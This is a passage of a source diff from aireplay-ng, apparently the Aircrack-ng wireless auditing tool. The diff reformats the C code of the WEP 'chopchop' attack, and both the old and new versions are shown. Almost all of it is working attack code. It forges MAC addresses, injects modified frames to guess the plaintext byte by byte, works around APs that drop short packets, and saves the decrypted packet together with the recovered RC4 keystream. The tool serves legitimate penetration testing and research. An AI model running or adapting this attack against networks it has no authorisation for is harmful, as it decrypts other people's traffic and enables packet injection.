-            default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
-        }
-
-        crc_mask = crc_tbl[crc_mask & 0xFF]
-                 ^ ( crc_mask   >>  8 )
-                 ^ ( chopped[i] << 24 );
-    }
+	if (opt.r_smac_set == 0)
+	{
+		is_deauth_mode = 1;
 
-    for( i = 0; i < 4; i++ )
-        crc_mask = crc_tbl[crc_mask & 0xFF]
-                 ^ ( crc_mask >> 8 );
+		opt.r_smac[0] = 0x00;
+		opt.r_smac[1] = rand() & 0x3E;
+		opt.r_smac[2] = rand() & 0xFF;
+		opt.r_smac[3] = rand() & 0xFF;
+		opt.r_smac[4] = rand() & 0xFF;
 
-    chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
-    chopped[data_end - 1] = crc_mask; crc_mask >>= 8;
+		memcpy(opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
+	else
+	{
+		is_deauth_mode = 0;
 
-    for( i = data_start; i < data_end; i++ )
-        chopped[i] ^= srcbuf[i+srcdiff];
+		opt.r_dmac[0] = 0xFF;
+		opt.r_dmac[1] = rand() & 0xFE;
+		opt.r_dmac[2] = rand() & 0xFF;
+		opt.r_dmac[3] = rand() & 0xFF;
+		opt.r_dmac[4] = rand() & 0xFF;
+	}
 
-    data_start += 6; /* skip the SNAP header */
+	/* let's go chopping */
 
-    /* if the replay source mac is unspecified, forge one */
+	memset(ticks, 0, sizeof(ticks));
 
-    if( opt.r_smac_set == 0 )
-    {
-        is_deauth_mode = 1;
+	nb_pkt_read = 0;
+	nb_pkt_sent = 0;
+	nb_bad_pkt = 0;
+	guess = 256;
 
-        opt.r_smac[0] = 0x00;
-        opt.r_smac[1] = rand() & 0x3E;
-        opt.r_smac[2] = rand() & 0xFF;
-        opt.r_smac[3] = rand() & 0xFF;
-        opt.r_smac[4] = rand() & 0xFF;
+	tt = time(NULL);
 
-        memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-    }
-    else
-    {
-        is_deauth_mode = 0;
+	alarm(30);
 
-        opt.r_dmac[0] = 0xFF;
-        opt.r_dmac[1] = rand() & 0xFE;
-        opt.r_dmac[2] = rand() & 0xFF;
-        opt.r_dmac[3] = rand() & 0xFF;
-        opt.r_dmac[4] = rand() & 0xFF;
-    }
+	signal(SIGALRM, sighandler);
 
-    /* let's go chopping */
+	if (opt.port_in <= 0)
+	{
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			free(chopped);
+			return (1);
+		}
+	}
 
-    memset( ticks, 0, sizeof( ticks ) );
+	while (data_end > data_start)
+	{
+		if (alarmed)
+		{
+			printf("\n\n"
+				   "The chopchop attack appears to have failed. Possible "
+				   "reasons:\n"
+				   "\n"
+				   "    * You're trying to inject with an unsupported chipset "
+				   "(Centrino?).\n"
+				   "    * The driver source wasn't properly patched for "
+				   "injection support.\n"
+				   "    * You are too far from the AP. Get closer or reduce "
+				   "the send rate.\n"
+				   "    * Target is 802.11g only but you are using a Prism2 or "
+				   "RTL8180.\n"
+				   "    * The wireless interface isn't setup on the correct "
+				   "channel.\n");
+			if (is_deauth_mode)
+				printf("    * The AP isn't vulnerable when operating in "
+					   "non-authenticated mode.\n"
+					   "      Run aireplay-ng in authenticated mode instead "
+					   "(-h option).\n\n");
+			else
+				printf("    * The client MAC you have specified is not "
+					   "currently authenticated.\n"
+					   "      Try running another aireplay-ng to fake "
+					   "authentication (attack \"-1\").\n"
+					   "    * The AP isn't vulnerable when operating in "
+					   "authenticated mode.\n"
+					   "      Try aireplay-ng in non-authenticated mode "
+					   "instead (no -h option).\n\n");
+			free(chopped);
+			return (1);
+		}
 
-    nb_pkt_read = 0;
-    nb_pkt_sent = 0;
-    nb_bad_pkt  = 0;
-    guess       = 256;
+		/* wait for the next timer interrupt, or sleep */
 
-    tt = time( NULL );
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("\nread(/dev/rtc) failed");
+				free(chopped);
+				return (1);
+			}
+
+			ticks[0]++; /* ticks since we entered the while loop     */
+			ticks[1]++; /* ticks since the last status line update   */
+			ticks[2]++; /* ticks since the last frame was sent       */
+			ticks[3]++; /* ticks since started chopping current byte */
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(976);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / 976;
+			ticks[1] += f / 976;
+			ticks[2] += f / 976;
+			ticks[3] += f / 976;
+		}
 
-    alarm( 30 );
+		/* update the status line */
 
-    signal( SIGALRM, sighandler );
+		if (ticks[1] > (RTC_RESOLUTION / 10.f))
+		{
+			ticks[1] = 0;
+			printf("\rSent %3lu packets, current guess: %02X...",
+				   nb_pkt_sent,
+				   guess);
+			fflush(stdout);
+			erase_line(0);
+		}
 
-    if(opt.port_in <= 0)
-    {
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            free(chopped);
-            return( 1 );
-        }
-    }
+		if (data_end < 41
+			&& ticks[3] > 8 * (ticks[0] - ticks[3])
+							  / (int) (caplen - (data_end - 1)))
+		{
+		header_rec:
+
+			printf("\n\nThe AP appears to drop packets shorter "
+				   "than %d bytes.\n",
+				   data_end);
+
+			data_end = 40;
+
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			diff = z - 24;
+
+			if ((chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0]) == 0x06
+				&& (chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1])
+					   == 0x04
+				&& (chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2])
+					   == 0x00)
+			{
+				printf("Enabling standard workaround: "
+					   "ARP header re-creation.\n");
+
+				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
+				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
+				chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
+				chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
+				chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
+				chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
+			}
+			else
+			{
+				printf("Enabling standard workaround: "
+					   " IP header re-creation.\n");
+
+				n = caplen - (z + 16);
+
+				chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA;
+				chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA;
+				chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
+				chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
+				chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
+				chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
+				chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
+				chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
+				chopped[24 + 14] = srcbuf[srcz + 14] ^ (n >> 8);
+				chopped[24 + 15] = srcbuf[srcz + 15] ^ (n & 0xFF);
+
+				memcpy(h80211, srcbuf, caplen);
+
+				for (i = z + 4; i < (int) caplen; i++)
+					h80211[i - 4] = h80211[i] ^ chopped[i - diff];
+
+				/* sometimes the header length or the tos field vary */
+
+				for (i = 0; i < 16; i++)
+				{
+					h80211[z + 8] = 0x40 + i;
+					chopped[24 + 12] = srcbuf[srcz + 12] ^ (0x40 + i);
+
+					for (j = 0; j < 256; j++)
+					{
+						h80211[z + 9] = j;
+						chopped[24 + 13] = srcbuf[srcz + 13] ^ j;
 
-    while( data_end > data_start )
-    {
-        if( alarmed )
-        {
-            printf( "\n\n"
-"The chopchop attack appears to have failed. Possible reasons:\n"
-"\n"
-"    * You're trying to inject with an unsupported chipset (Centrino?).\n"
-"    * The driver source wasn't properly patched for injection support.\n"
-"    * You are too far from the AP. Get closer or reduce the send rate.\n"
-"    * Target is 802.11g only but you are using a Prism2 or RTL8180.\n"
-"    * The wireless interface isn't setup on the correct channel.\n" );
-            if( is_deauth_mode )
-                printf(
-"    * The AP isn't vulnerable when operating in non-authenticated mode.\n"
-"      Run aireplay-ng in authenticated mode instead (-h option).\n\n" );
-            else
-                printf(
-"    * The client MAC you have specified is not currently authenticated.\n"
-"      Try running another aireplay-ng to fake authentication (attack \"-1\").\n"
-"    * The AP isn't vulnerable when operating in authenticated mode.\n"
-"      Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" );
-            free(chopped);
-            return( 1 );
-        }
-
-        /* wait for the next timer interrupt, or sleep */
-
-        if( dev.fd_rtc >= 0 )
-        {
-            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
-            {
-                perror( "\nread(/dev/rtc) failed" );
-                free(chopped);
-                return( 1 );
-            }
-
-            ticks[0]++;  /* ticks since we entered the while loop     */
-            ticks[1]++;  /* ticks since the last status line update   */
-            ticks[2]++;  /* ticks since the last frame was sent       */
-            ticks[3]++;  /* ticks since started chopping current byte */
-        }
-        else
-        {
-            /* we can't trust usleep, since it depends on the HZ */
-
-            gettimeofday( &tv,  NULL );
-            usleep( 976 );
-            gettimeofday( &tv2, NULL );
-
-            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
-                        + (float) ( tv2.tv_usec - tv.tv_usec );
-
-            ticks[0] += f / 976;
-            ticks[1] += f / 976;
-            ticks[2] += f / 976;
-            ticks[3] += f / 976;
-        }
-
-        /* update the status line */
-
-        if( ticks[1] > (RTC_RESOLUTION/10) )
-        {
-            ticks[1] = 0;
-            printf( "\rSent %3ld packets, current guess: %02X...\33[K",
-                    nb_pkt_sent, guess );
-            fflush( stdout );
-        }
-
-        if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
-                                (int) ( caplen - ( data_end - 1 ) ) )
-        {
-            header_rec:
-
-            printf( "\n\nThe AP appears to drop packets shorter "
-                    "than %d bytes.\n",data_end );
-
-            data_end = 40;
-
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            diff = z-24;
-
-            if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 &&
-                ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 &&
-                ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 )
-            {
-                printf( "Enabling standard workaround: "
-                        "ARP header re-creation.\n" );
-
-                chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
-                chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
-                chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
-                chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
-                chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
-                chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
-            }
-            else
-            {
-                printf( "Enabling standard workaround: "
-                        " IP header re-creation.\n" );
-
-                n = caplen - ( z + 16 );
-
-                chopped[24 +  4] = srcbuf[srcz +  4] ^ 0xAA;
-                chopped[24 +  5] = srcbuf[srcz +  5] ^ 0xAA;
-                chopped[24 +  6] = srcbuf[srcz +  6] ^ 0x03;
-                chopped[24 +  7] = srcbuf[srcz +  7] ^ 0x00;
-                chopped[24 +  8] = srcbuf[srcz +  8] ^ 0x00;
-                chopped[24 +  9] = srcbuf[srcz +  9] ^ 0x00;
-                chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
-                chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
-                chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 );
-                chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF );
-
-                memcpy( h80211, srcbuf, caplen );
-
-                for( i = z + 4; i < (int) caplen; i++ )
-                    h80211[i - 4] = h80211[i] ^ chopped[i-diff];
-
-                /* sometimes the header length or the tos field vary */
-
-                for( i = 0; i < 16; i++ )
-                {
-                    h80211[z +  8] = 0x40 + i;
-                    chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i );
-
-                    for( j = 0; j < 256; j++ )
-                    {
-                        h80211[z +  9] = j;
-                        chopped[24 + 13] = srcbuf[srcz + 13] ^ j;
-
-                        if( check_crc_buf( h80211 + z, caplen - z - 8 ) )
-                            goto have_crc_match;
-                    }
-                }
-
-                printf( "This doesn't look like an IP packet, "
-                        "try another one.\n" );
-            }
-
-        have_crc_match:
-            break;
-        }
-
-        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
-        {
-            /* send one modified frame */
-
-            ticks[2] = 0;
-
-            memcpy( h80211, chopped, data_end - 1 );
-
-            /* note: guess 256 is special, it tests if the  *
-             * AP properly drops frames with an invalid ICV *
-             * so this guess always has its bit 8 set to 0  */
-
-            if( is_deauth_mode )
-            {
-                opt.r_smac[1] |= ( guess < 256 );
-                opt.r_smac[5]  = guess & 0xFF;
-            }
-            else
-            {
-                opt.r_dmac[1] |= ( guess < 256 );
-                opt.r_dmac[5]  = guess & 0xFF;
-            }
-
-            memcpy( h80211 + 10, opt.r_smac,  6 );
-            memcpy( h80211 + 16, opt.r_dmac,  6 );
-
-            if( guess < 256 )
-            {
-                h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
-                h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
-                h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
-                h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
-            }
-
-            errno = 0;
-
-            if( send_packet( h80211, data_end -1 ) != 0 )
-            {
-                free(chopped);
-                return( 1 );
-            }
-
-            if( errno != EAGAIN )
-            {
-                guess++;
-
-                if( guess > 256 )
-                    guess = 0;
-            }
-        }
-
-        /* watch for a response from the AP */
-
-        n = read_packet( h80211, sizeof( h80211 ), NULL );
-
-        if( n  < 0 )
-        {
-            free(chopped);
-            return( 1 );
-        }
-
-        if( n == 0 )
-            continue;
-
-        nb_pkt_read++;
-
-        /* check if it's a deauth packet */
-
-        if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
-        {
-            if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 &&
-                ! is_deauth_mode )
-            {
-                nb_bad_pkt++;
-
-                if( nb_bad_pkt > 256 )
-                {
-                    printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n");
-                    sleep(3);
-                    nb_bad_pkt = 0;
-                }
-
-                continue;
-            }
-
-            if( h80211[4] != opt.r_smac[0] ) continue;
-            if( h80211[6] != opt.r_smac[2] ) continue;
-            if( h80211[7] != opt.r_smac[3] ) continue;
-            if( h80211[8] != opt.r_smac[4] ) continue;
-
-            if( ( h80211[5]     & 0xFE ) !=
-                ( opt.r_smac[1] & 0xFE ) ) continue;
-
-            if( ! ( h80211[5] & 1 ) )
-            {
-            	if( data_end < 41 ) goto header_rec;
-
-                printf( "\n\nFailure: the access point does not properly "
-                        "discard frames with an\ninvalid ICV - try running "
-                        "aireplay-ng in authenticated mode (-h) instead.\n\n" );
-                free(chopped);
-                return( 1 );
-            }
-        }
-        else
-        {
-            if( is_deauth_mode )
-                continue;
-
-            /* check if it's a WEP data packet */
-
-            if( ( h80211[0] & 0x0C ) != 8 ) continue;
-            if( ( h80211[0] & 0x70 ) != 0 ) continue;
-            if( ( h80211[1] & 0x03 ) != 2 ) continue;
-            if( ( h80211[1] & 0x40 ) == 0 ) continue;
-
-            /* check the extended IV (TKIP) flag */
-
-            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                z+=2;
-
-            if( ( h80211[z + 3] & 0x20 ) != 0 ) continue;
-
-            /* check the destination address */
-
-            if( h80211[4] != opt.r_dmac[0] ) continue;
-            if( h80211[6] != opt.r_dmac[2] ) continue;
-            if( h80211[7] != opt.r_dmac[3] ) continue;
-            if( h80211[8] != opt.r_dmac[4] ) continue;
-
-            if( ( h80211[5]     & 0xFE ) !=
-                ( opt.r_dmac[1] & 0xFE ) ) continue;
-
-            if( ! ( h80211[5] & 1 ) )
-            {
-            	if( data_end < 41 ) goto header_rec;
-
-                printf( "\n\nFailure: the access point does not properly "
-                        "discard frames with an\ninvalid ICV - try running "
-                        "aireplay-ng in non-authenticated mode instead.\n\n" );
-                free(chopped);
-                return( 1 );
-            }
-        }
-
-        /* we have a winner */
-
-        guess = h80211[9];
-
-        chopped[data_end - 1] ^= guess;
-        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-        n = caplen - data_start;
-
-        printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
-                "%4ld frames written in %5.0fms\n", data_end - 1,
-                100 * ( caplen - data_end ) / n,
-                chopped[data_end - 1],
-                chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
-                nb_pkt_sent, ticks[3] );
-
-        if( is_deauth_mode )
-        {
-            opt.r_smac[1] = rand() & 0x3E;
-            opt.r_smac[2] = rand() & 0xFF;
-            opt.r_smac[3] = rand() & 0xFF;
-            opt.r_smac[4] = rand() & 0xFF;
-        }
-        else
-        {
-            opt.r_dmac[1] = rand() & 0xFE;
-            opt.r_dmac[2] = rand() & 0xFF;
-            opt.r_dmac[3] = rand() & 0xFF;
-            opt.r_dmac[4] = rand() & 0xFF;
-        }
-
-        ticks[3]        = 0;
-        nb_pkt_sent     = 0;
-        nb_bad_pkt      = 0;
-        guess           = 256;
+						if (check_crc_buf(h80211 + z, caplen - z - 8))
+							goto have_crc_match;
+					}
+				}
 
-        data_end--;
+				printf("This doesn't look like an IP packet, "
+					   "try another one.\n");
+			}
 
-        alarm( 0 );
-    }
+		have_crc_match:
+			break;
+		}
 
-    /* reveal the plaintext (chopped contains the prga) */
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* send one modified frame */
+
+			ticks[2] = 0;
+
+			memcpy(h80211, chopped, data_end - 1);
+
+			/* note: guess 256 is special, it tests if the  *
+			 * AP properly drops frames with an invalid ICV *
+			 * so this guess always has its bit 8 set to 0  */
+
+			if (is_deauth_mode)
+			{
+				opt.r_smac[1] |= (guess < 256);
+				opt.r_smac[5] = guess & 0xFF;
+			}
+			else
+			{
+				opt.r_dmac[1] |= (guess < 256);
+				opt.r_dmac[5] = guess & 0xFF;
+			}
+
+			memcpy(h80211 + 10, opt.r_smac, 6);
+			memcpy(h80211 + 16, opt.r_dmac, 6);
+
+			if (guess < 256)
+			{
+				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
+				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
+				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
+				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
+			}
+
+			errno = 0;
+
+			if (send_packet(h80211, data_end - 1) != 0)
+			{
+				free(chopped);
+				return (1);
+			}
+
+			if (errno != EAGAIN)
+			{
+				guess++;
 
-    memcpy( h80211, srcbuf, caplen );
+				if (guess > 256) guess = 0;
+			}
+		}
 
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
-    diff = z-24;
-
-    chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
-    chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
-    chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
-    chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
-    chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
-    chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
-
-    for( i = z + 4; i < (int) caplen; i++ )
-        h80211[i - 4] = h80211[i] ^ chopped[i-diff];
-
-    if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) {
-        if (!tried_header_rec) {
-            printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" );
-            tried_header_rec=1;
-            goto header_rec;
-        } else {
-            printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" );
-        }
-    }
+		/* watch for a response from the AP */
 
-    caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
+		n = read_packet(h80211, sizeof(h80211), NULL);
 
-    h80211[1] &= 0xBF;   /* remove the WEP bit, too */
+		if (n < 0)
+		{
+			free(chopped);
+			return (1);
+		}
 
-    /* save the decrypted packet */
+		if (n == 0) continue;
 
-    gettimeofday( &tv, NULL );
+		nb_pkt_read++;
 
-    pfh_out.magic         = TCPDUMP_MAGIC;
-    pfh_out.version_major = PCAP_VERSION_MAJOR;
-    pfh_out.version_minor = PCAP_VERSION_MINOR;
-    pfh_out.thiszone      = 0;
-    pfh_out.sigfigs       = 0;
-    pfh_out.snaplen       = 65535;
-    pfh_out.linktype      = LINKTYPE_IEEE802_11;
+		/* check if it's a deauth packet */
 
-    pkh.tv_sec  = tv.tv_sec;
-    pkh.tv_usec = tv.tv_usec;
-    pkh.caplen  = caplen;
-    pkh.len     = caplen;
+		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0 && !is_deauth_mode)
+			{
+				nb_bad_pkt++;
+
+				if (nb_bad_pkt > 256)
+				{
+					printf("\rgot several deauthentication packets - pausing 3 "
+						   "seconds for reconnection\n");
+					sleep(3);
+					nb_bad_pkt = 0;
+				}
 
-    lt = localtime( (const time_t *) &tv.tv_sec );
+				continue;
+			}
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_dec-%02d%02d-%02d%02d%02d.cap",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+			if (h80211[4] != opt.r_smac[0]) continue;
+			if (h80211[6] != opt.r_smac[2]) continue;
+			if (h80211[7] != opt.r_smac[3]) continue;
+			if (h80211[8] != opt.r_smac[4]) continue;
+
+			if ((h80211[5] & 0xFE) != (opt.r_smac[1] & 0xFE)) continue;
+
+			if (!(h80211[5] & 1))
+			{
+				if (data_end < 41) goto header_rec;
+
+				printf("\n\nFailure: the access point does not properly "
+					   "discard frames with an\ninvalid ICV - try running "
+					   "aireplay-ng in authenticated mode (-h) instead.\n\n");
+				free(chopped);
+				return (1);
+			}
+		}
+		else
+		{
+			if (is_deauth_mode) continue;
 
-    printf( "\nSaving plaintext in %s\n", strbuf );
+			/* check if it's a WEP data packet */
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        free(chopped);
-        return( 1 );
-    }
+			if ((h80211[0] & 0x0C) != 8) continue;
+			if ((h80211[0] & 0x70) != 0) continue;
+			if ((h80211[1] & 0x03) != 2) continue;
+			if ((h80211[1] & 0x40) == 0) continue;
 
-    n = sizeof( struct pcap_file_header );
+			/* check the extended IV (TKIP) flag */
 
-    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed\n" );
-        free(chopped);
-        fclose( f_cap_out );
-        return( 1 );
-    }
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
 
-    n = sizeof( pkh );
+			if ((h80211[z + 3] & 0x20) != 0) continue;
 
-    if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        free(chopped);
-        fclose( f_cap_out );
-        return( 1 );
-    }
+			/* check the destination address */
 
-    n = pkh.caplen;
+			if (h80211[4] != opt.r_dmac[0]) continue;
+			if (h80211[6] != opt.r_dmac[2]) continue;
+			if (h80211[7] != opt.r_dmac[3]) continue;
+			if (h80211[8] != opt.r_dmac[4]) continue;
 
-    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        free(chopped);
-        fclose( f_cap_out );
-        return( 1 );
-    }
+			if ((h80211[5] & 0xFE) != (opt.r_dmac[1] & 0xFE)) continue;
 
-    fclose( f_cap_out );
+			if (!(h80211[5] & 1))
+			{
+				if (data_end < 41) goto header_rec;
 
-    /* save the RC4 stream (xor mask) */
+				printf("\n\nFailure: the access point does not properly "
+					   "discard frames with an\ninvalid ICV - try running "
+					   "aireplay-ng in non-authenticated mode instead.\n\n");
+				free(chopped);
+				return (1);
+			}
+		}
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_dec-%02d%02d-%02d%02d%02d.xor",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+		/* we have a winner */
 
-    printf( "Saving keystream in %s\n", strbuf );
+		guess = h80211[9];
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        free(chopped);
-        return( 1 );
-    }
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		n = caplen - data_start;
+
+		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
+			   "%4lu frames written in %5.0fms\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
+			   nb_pkt_sent,
+			   ticks[3]);
+
+		if (is_deauth_mode)
+		{
+			opt.r_smac[1] = rand() & 0x3E;
+			opt.r_smac[2] = rand() & 0xFF;
+			opt.r_smac[3] = rand() & 0xFF;
+			opt.r_smac[4] = rand() & 0xFF;
+		}
+		else
+		{
+			opt.r_dmac[1] = rand() & 0xFE;
+			opt.r_dmac[2] = rand() & 0xFF;
+			opt.r_dmac[3] = rand() & 0xFF;
+			opt.r_dmac[4] = rand() & 0xFF;
+		}
 
-    n = pkh.caplen + 8 - 24;
+		ticks[3] = 0;
+		nb_pkt_sent = 0;
+		nb_bad_pkt = 0;
+		guess = 256;
 
-    if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        free(chopped);
-        fclose( f_cap_out );
-        return( 1 );
-    }
+		data_end--;
+
+		alarm(0);
+	}
+
+	/* reveal the plaintext (chopped contains the prga) */
+
+	memcpy(h80211, srcbuf, caplen);
+
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	diff = z - 24;
+
+	chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
+	chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
+	chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
+	chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
+	chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
+	chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;
+
+	for (i = z + 4; i < (int) caplen; i++)
+		h80211[i - 4] = h80211[i] ^ chopped[i - diff];
+
+	if (!check_crc_buf(h80211 + z, caplen - z - 8))
+	{
+		if (!tried_header_rec)
+		{
+			printf("\nWarning: ICV checksum verification FAILED! Trying "
+				   "workaround.\n");
+			tried_header_rec = 1;
+			goto header_rec;
+		}
+		else
+		{
+			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
+				   "likely invalid/useless\nTry another one.\n");
+		}
+	}
+
+	caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */
+
+	h80211[1] &= 0xBF; /* remove the WEP bit, too */
+
+	/* save the decrypted packet */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.caplen = caplen;
+	pkh.len = caplen;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("\nSaving plaintext in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		free(chopped);
+		fclose(f_cap_out);
+		return (1);
+	}
+
